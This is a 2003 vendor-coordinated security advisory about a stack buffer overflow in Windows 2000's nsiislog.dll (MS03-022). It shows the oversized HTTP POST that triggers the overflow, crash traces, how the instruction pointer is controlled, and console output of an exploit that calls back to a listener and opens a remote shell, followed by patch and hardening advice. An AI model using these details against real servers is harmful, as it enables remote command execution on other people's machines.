Windows Media Services Remote Command Execution #2

From: Brett Moore (brett.moore_at_SECURITY-ASSESSMENT.COM)
Date: 06/26/03

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    Date:         Thu, 26 Jun 2003 11:29:28 -0700
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    ========================================================================
    = Windows Media Services Remote Command Execution #2
    =
    = brett.moore@security-assessment.com
    = http://www.security-assessment.com
    =
    = MS Bulletin posted: June 25, 2003
    = http://www.microsoft.com/technet/security/bulletin/MS03-022.asp
    =
    = Affected Software:
    = Microsoft Windows 2000
    =
    = Public disclosure on June 25, 2003
    =========================================================================
    = Our Rating: Due to the ease of exploitation of this vulnerability and
    = the fact that it allows command execution against a vulnerable server
    = we feel that this patch is CRITICAL for all servers that have the
    = vulnerable dll installed even if Windows Media Services are not in use.
    =========================================================================

    A short time after a long time ago, in a place very similar to the last,
    where the sun shines, the snow falls and the water is still clean....

    Continuing with our 'Methodical Approach To Finding Overflows' against
    nsiislog.dll we discovered another issue but due to complications this
    fix was not released with the previous nsiislog.dll bulletin.

    == MS03-022 states ==
    Impact of vulnerability: Allow an attacker to execute code of their choice
    Maximum Severity Rating: Important

    There is a flaw in the way nsiislog.dll processes incoming client requests.
    A vulnerability exists because an attacker could send specially formed HTTP
    request (communications) to the server that could cause IIS to fail or
    execute code on the user's system.
    == MS03-022 ==

    == Description ==

    Sending a large standard post to nsiislog.dll will cause an access
    violation resulting in the following error log.

    ------------------------------------------------------------------------
    Event Type: Warning
    Event Source: W3SVC
    Event Category: None
    Event ID: 37
    Description:
    Out of process application '/LM/W3SVC/1/Root' terminated unexpectedly.
    ------------------------------------------------------------------------

    This results in a standard stack based overflow, resulting in EIP
    been set to an arbitrary value allowing for remote command execution
    with privileges associated with the IWAM_machinename account.

    == Standard HTTP Post ==

    POST /scripts/nsiislog.dll HTTP/1.1
    content-length: <postlength>

    <post data>

    Using Size: 4354
    Connecting....Sending Buffer....
    78028E9F mov al,byte ptr [esi] ESI = 00B138B4

    Using Size: 5000
    Connecting....Sending Buffer....
    40F01F3B repne scas byte ptr [edi] EDI = 58585858

    Using Size: 25000
    Connecting....Sending Buffer....
    78005994 mov dword ptr [edi],edx EDX = 58585858
    -
    58585858 ??? illegal op EIP = 58585858

    == Exploitation ==

    Commonly referred to as a stack based overflow, control is taken when the
    EIP is set to a value from the stack. Widely known and easily exploitable
    by using a call or jmp instruction or in the worst case a brute force
    technique of direct jumps.

    In this case control is taken when a value is obtained from the stack
    and then used in a direct call.

    77FB98E1 mov ecx,dword ptr [ebp+18h]
    77FB98E4 call ecx

    == Exploit Example ==

    %:\>exploit 192.168.1.63
    ** IISNSLOG.DLL - Remote Shell **

    . Calling Home: blackhole:2000
    . Shellcode Size: 322 bytes
    . Preparing Exploit Buffer......Ready
    . Starting Listener On Port: 2000
    . Connecting To Target
    . Sending Exploit......Exploit Sent
    . Connection Received
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.
    C:\WINNT\system32>whoami
    IWAM_BLACKHOLE
    C:\WINNT\system32>

    == Solutions ==

    - Every day is a 0-day day on the Internet. Limiting the avenues of attack
      can be a key factor in reducing the risk to a web server. Programs such
      as secureIIS and URLscan should be setup to reduce the number of methods
      that can be used to send data to a server. Removing unnecessary services,
      files and isapi extensions reduces the number of listeners that data can
      be fed to limiting the number of vulnerabilities that a server is
      susceptible to.
    - Install the vendor supplied patch.

    == Credit ==

    Discovered and advised to Microsoft January 30, 2003 by Brett Moore of
    Security-Assessment.com

    %-) viva Las Vegas!!

    == About Security-Assessment.com ==

    Security-Assessment.com is a leader in intrusion testing and security
    code review, and leads the world with SA-ISO, online ISO17799 compliance
    management solution. Security-Assessment.com is committed to security
    research and development, and its team have previously identified a
    number of vulnerabilities in public and private software vendors products.

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